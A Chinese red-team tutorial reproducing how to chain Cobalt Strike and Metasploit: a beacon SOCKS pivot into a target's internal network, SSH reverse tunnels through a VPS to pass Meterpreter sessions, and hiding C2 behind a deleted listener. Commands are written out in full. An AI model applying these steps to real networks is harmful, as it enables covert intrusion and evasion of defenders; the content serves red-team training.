CobaltStrike+MetaSploit联动攻击

CobaltStrike+MetaSploit联动攻击

** 本文源于klion红队攻防揭秘 观后复现 **

重点

1,通过beacon内置socks,将msf带入目标内网
2,使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf
3,使用msf的exp直接弹回一个beacon
4,灵活使用ssh隧道深度隐藏C2

通过beacon内置socks,将msf带入目标内网

** CS **

  • beacon> getuid
  • beacon> socks 1080
    avatar
    • msf **
  • msf5 > setg Proxies socks4:XXX.XXX.XXX.XXX:1080 //设置代理
  • msf5 > setg ReversseAllowProxy true //双向通道

现在就可以直接用msf的auxiliary模块扫描目标内网了
avatar

使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf **

* 首先创建CS外部tcp监听器 *
avatar
* 然后到本地机器msf创建tcp监听器 *
avatar
* 随后,在vps机器上编辑sshd配置,开启ssh转发功能,重启ssh服务,这是所有使用ssh隧道转发前的必备操作。 *

# vi/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restartsshd.service

* 回到本地linux中并通过ssh隧道做好ssh转发,意思就是通过vps把来自外部的8080端口流量全部转到本地linux的8080端口上,而本地linux的8080端口上跑的又正好是msf的监听器,所以,最终才会造成meterpreter本地上线的效果 *

# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.0.108:8080 root@xxx.xxx.xxx.xxx -p 22 //建立ssh隧道
>  -C     //压缩数据 
>  -f     //运行在后台
>  -N     //不远程执行命令,对端口转发很有用
>  -g     //允许远程主机连接到本地转发端口
>  -R     //[bind_address:]port:host:hostport  端口及地址配置
# netstat -tulnp | grep '8080' //检查通道是否成功建立

avatar
avatar

* 最后,回到cs上选择目标内网指定机器的beacon shell 点击 “Spawn” 派生,再选择刚在上面创建好的tcp的外部监听器,相应目标机器的meterpreter就会被直接弹到本地,也可以选择批量操作 *

使用msf的exp直接弹回一个beacon

** 暂时复现失败 **

灵活利用ssh隧道深度隐藏C2

首先,创建一个普通的http 反向beacon监听器,并用该监听器生成一个64位的exe payload,随后再立即删除该监听器
然后本地开启ssh隧道转发,转发刚刚删除的监听器的端口。
本地启动cs服务,监听转发的端口,监听器与删除监听器配置相同。
当payload执行,本地服务上线。
avatar